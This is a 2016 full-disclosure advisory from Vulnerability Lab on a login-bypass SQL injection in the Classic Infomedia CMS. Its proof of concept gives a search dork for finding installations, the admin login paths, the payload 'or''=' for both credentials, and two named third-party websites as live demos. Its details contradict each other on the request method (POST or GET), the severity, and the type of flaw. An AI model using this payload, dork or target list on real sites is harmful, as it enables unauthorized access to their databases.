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List:       full-disclosure
Subject:    [FD] Classic Infomedia (Login) - Auth Bypass Web Vulnerability
From:       Vulnerability Lab <research () vulnerability-lab ! com>
Date:       2016-01-27 14:27:24
Message-ID: 56A8D3CC.4060805 () vulnerability-lab ! com
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Document Title:
===============
Classic Infomedia (Login) - Auth Bypass Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1679


Release Date:
=============
2016-01-25


Vulnerability Laboratory ID (VL-ID):
====================================
1679


Common Vulnerability Scoring System:
====================================
9.1


Product & Service Introduction:
===============================
CLASSIC INFOMEDIA PRIVATE LIMITED, was incorporated as a Private Limited Company in 2010 with \
the objective of providing quality service in the field of Information Technology. The people \
who have created CLASSIC INFOMEDIA have collective decades of experience in creating websites \
and managing job and matrimonial portals. In addition to these, they  are also involved in the \
domain registration, web development and web hoisting. CLASSIC INFOMEDIA has a highly \
experienced and well trained group of international IT professionals  who are striving to \
understand changing customer needs, and enrich their quality of life by simply making the \
technology readily usable for them.

(Copy of the Vendor Homepage: http://www.classicinfomedia.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory research group discovered an auth bypass (pre-auth) web \
vulnerability in the official Classic Infomedia (Login) CMS (2016-Q1).


Vulnerability Disclosure Timeline:
==================================
2016-01-25: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Classic Infomedia
Product: Classic Infomedia - CMS (Web-Application) 2016 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A classic auth bypass web vulnerability has been discovered in the official Classic Infomedia \
(Login) CMS (2016-Q1). The web vulnerability allows to bypass the login mechanism that protects \
the web-application from unauthorized access.

The vulnerability is located in the adminlogin page that is linked with the index.php file. \
Remote attackers are able to inject  own malicious strings to bypass the login authentification \
mechanism. The request method is POST and the attack vector of the  issue is located on the \
application-side of the web-application. The vulnerability is a classic auth bypass \
vulnerability.

The security risk of the auth bypass vulnerability is estimated as critical with a cvss (common \
vulnerability scoring system) count of 9.1. Exploitation of the remote login auth bypass web \
vulnerability requires no user interaction or privileged web-application user account. \
Successful exploitation of the auth bypass vulnerability results in database management system, \
web-server and web-application compromise.

Request Method(s):
				[+] GET

Vulnerable Module(s):
				[+] Login (Admin)

Vulnerable File(s):
				[+] index.php

Vulnerable Parameter(s):
				[+] page=adminlogin


Proof of Concept (PoC):
=======================
The auth bypass vulnerability can be exploited by remote attackers without privileged \
web-application user account or user interaction. For security demonstration or to reproduce \
the vulnerability follow the provided information and steps below to continue.

Dork(s):
intext:"Powered and Maintained by Classic Infomedia"

Login Pages:
http://www.site.com/admin/login.php
http://www.site.com/index.php?page=adminlogin

PoC: Auth Bypass (Input)
Username : 'or''='
Password : 'or''='

PoC: Demos
http://www.jobstogofor.com/admin/login.php
http://www.numbersmiracle.com/index.php?page=adminlogin


Security Risk:
==============
The security risk of the remote sql injection web vulnerability in the web-application is \
estimated as high. (CVSS 9.1)


Credits & Authors:
==================
Iran Cyber Security Group - 0x3a (ICG SEC) [Iran-Cyber.Net]
Thanks To : root3r | MOHAMAD-NOFOZI | KamraN HellisH | JOK3R | Pi.Hack | CRY$I$ BL4CK | WH!T3 \
W01F | And All Members Of Iran-Cyber.Net


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. \
Vulnerability Lab disclaims all warranties, either expressed  or implied, including the \
warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its \
suppliers are not liable  in any case of damage, including direct, indirect, incidental, \
consequential loss of business profits or special damages, even if Vulnerability-Lab  or its \
suppliers have been advised of the possibility of such damages. Some states do not allow the \
exclusion or limitation of liability for  consequential or incidental damages so the foregoing \
limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,  \
policies, deface websites, hack into databases or trade with fraud/stolen material.

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